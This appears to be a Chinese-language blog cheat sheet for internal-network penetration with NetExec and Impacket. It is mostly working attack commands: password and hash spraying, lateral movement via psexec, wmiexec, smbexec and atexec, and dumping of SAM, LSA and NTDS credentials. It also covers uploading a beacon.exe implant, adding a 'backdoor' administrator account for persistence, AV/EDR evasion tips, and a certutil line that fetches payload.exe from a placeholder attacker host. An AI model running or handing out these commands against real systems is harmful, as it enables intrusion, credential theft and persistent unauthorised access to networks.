内网渗透工具使用—NXC、impacket

内网渗透Wiki

目录

  1. 信息收集
  2. 账户权限验证
  3. 横向移动
  4. 凭据获取
  5. 文件操作
  6. 命令执行

信息收集

SMB扫描(存活主机)

# 扫描网段内SMB服务,探测存活主机
nxc smb 192.168.137.0/24

# 指定端口扫描
nxc smb 192.168.137.0/24 -p 445

主机信息枚举

# 获取主机基本信息
nxc smb 192.1****** -u '' -p '' --shares

C:\Users\SBB\Desktop\内网渗透\nxc-windows-latest>nxc.exe smb 127.0.0.1 -u SBB -p ZJH)$)#!$ --shares
SMB         127.0.0.1       445    DESKTOP-KTDUJ6B  [*] Windows 10 / Server 2019 Build 19041 x64 (name:DESKTOP-KTDUJ6B) (domain:DESKTOP-KTDUJ6B) (signing:False) (SMBv1:None)
SMB         127.0.0.1       445    DESKTOP-KTDUJ6B  [+] DESKTOP-KTDUJ6B\SBB:ZJH)$)#!$
SMB         127.0.0.1       445    DESKTOP-KTDUJ6B  [*] Enumerated shares
SMB         127.0.0.1       445    DESKTOP-KTDUJ6B  Share           Permissions     Remark
SMB         127.0.0.1       445    DESKTOP-KTDUJ6B  -----           -----------     ------
SMB         127.0.0.1       445    DESKTOP-KTDUJ6B  ADMIN$                          遠端管理
SMB         127.0.0.1       445    DESKTOP-KTDUJ6B  C$                              預設共用
SMB         127.0.0.1       445    DESKTOP-KTDUJ6B  IPC$            READ            遠端 IPC
# 获取系统信息
nxc smb 192.16******* -u 'guest' -p '' -M enum_av

账户权限验证

验证账户权限

# 验证Hash登录并查看共享
nxc smb 192.168.137.232 -u fw******* -H f7bf3a2a8f******* --shares

# 验证明文密码登录
nxc smb 192.168.137.232 -u fw******* -p 'Password123' --shares

# 验证空会话
nxc smb 192.168.137.232 -u '' -p '' --shares

批量验证

# 使用密码喷洒
nxc smb 192.168.137.0/24 -u users.txt -p 'Pas*******' --continue-on-success

# 使用Hash喷洒
nxc smb 192.168.137.0/24 -u admi******* -H hashes.txt --continue-on-success

横向移动

Impacket工具集

psexec(Windows服务)

# 使用明文密码
python3 psexec.py domain/username:password@192.168.137.232

# 使用Hash
python3 psexec.py -hashes :f7bf3******* domain/username@192.168.137.232

# 获取系统权限
python3 psexec.py -hashes :f7bf3a2**************8e administrator@192.168.137.232 cmd.exe

wmiexec(WMI方式)

# 使用明文密码
python3 wmiexec.py domain/username:password@192.168.137.232

# 使用Hash
python3 wmiexec.py -hashes :f7bf3******* domain/username@192.168.137.232

# 执行单条命令
python3 wmiexec.py -hashes :f7bf3a*******f98e administrator@192.168.137.232 'whoami'

smbexec(SMB方式)

# 使用明文密码
python3 smbexec.py domain/username:password@192.168.137.232

# 使用Hash
python3 smbexec.py -hashes :f7bf*******f98e domain/username@192.168.137.232

有个叫goexec的,集成了很多反edr的功能

杀软不会拦截winrmexec和atexec,但是都会存在明显的日志,edr会告警拦截

atexec(计划任务方式)

# 使用明文密码
python3 atexec.py domain/username:password@192.168.137.232 whoami

# 使用Hash
python3 atexec.py -hashes :f7bf3a*******f98e domain/username@192.168.137.232 'ipconfig /all'

凭据获取

使用NetExec获取凭据

获取SAM数据库

# 导出SAM
nxc smb 192.168.137.232 -u administrator -H f7bf*******7f98e --sam

# 导出LSA
nxc smb 192.168.137.232 -u administrator -H f7bf3a*******98e --lsa

# 导出NTDS.dit
nxc smb 192.168.137.232 -u administrator -H f7bf*******f98e --ntds

使用Impacket获取凭据

# secretsdump获取所有凭据
python3 secretsdump.py domain/administrator:password@192.168.137.232

# 使用Hash获取
python3 secretsdump.py -hashes :f7bf3*******7f98e domain/administrator@192.168.137.232

# 获取NTDS
python3 secretsdump.py -hashes :f7bf3a*******98e domain/administrator@192.168.137.232 -just-dc-ntlm

文件操作

NetExec文件操作

# 上传文件
nxc smb 192.168.137.232 -u administrator -H f7bf*******7f98e --put-file beacon.exe C:\\Windows\\Temp\\beacon.exe

# 下载文件
nxc smb 192.168.137.232 -u administrator -H f7bf3*******f98e --get-file C:\\Windows\\System32\\config\\SAM SAM

# 查看共享文件
nxc smb 192.168.137.232 -u administrator -H f7bf**********f98e -M spider_plus

Impacket smbclient

# 连接SMB
python3 smbclient.py domain/username:password@192.168.137.232

# 使用Hash连接
python3 smbclient.py -hashes :f7bf3a*******f98e domain/username@192.168.137.232

# 常用命令
# shares - 列出共享
# use C$ - 切换到C盘共享
# ls - 列出文件
# get file.txt - 下载文件
# put file.txt - 上传文件

命令执行

NetExec执行命令

# 执行单条命令
nxc smb 192.168.137.232 -u administrator -H f7bf3a2*******98e -x 'whoami'

# 执行PowerShell命令
nxc smb 192.168.137.232 -u administrator -H f7bf3*******f98e -X 'Get-Process'

# 批量执行命令
nxc smb 192.168.137.0/24 -u administrator -H f7bf3a*******7f98e -x 'systeminfo' --exec-method smbexec

执行方法选择

# 使用不同的执行方法
--exec-method wmiexec
--exec-method smbexec
--exec-method atexec
--exec-method mmcexec

特殊场景

本地管理员验证

# 验证是否是本地管理员
nxc smb 192.168.137.232 -u fwadmin -H f7bf3a*******f98e --local-auth

# 获取本地管理员组成员
nxc smb 192.168.137.232 -u administrator -H f7bf3*******98e --groups "Administrators"

持久化

# 创建用户
nxc smb 192.168.137.232 -u administrator -H f7b*******98e -x 'net user backdoor Password123 /add'

# 添加到管理员组
nxc smb 192.168.137.232 -u administrator -H f7bf3a2*******7f98e -x 'net localgroup administrators backdoor /add'

certutil免杀

Windows 自带的编码工具,用于将文件转换为 Base64 格式。

文件传输绕过文件上传限制数据外带

# 编码
certutil -encode restored_wdnmd.py 1.txt
# 解码
certutil -decode 1.txt restored_wdnmd.py
# 直接从 URL 下载文件(常见于下载 payload
certutil -urlcache -split -f http://攻击机IP/payload.exe C:\Windows\Temp\payload.exe
posted @ 2026-08-23 23:25  枯琴  阅读(12)  评论(0)    收藏  举报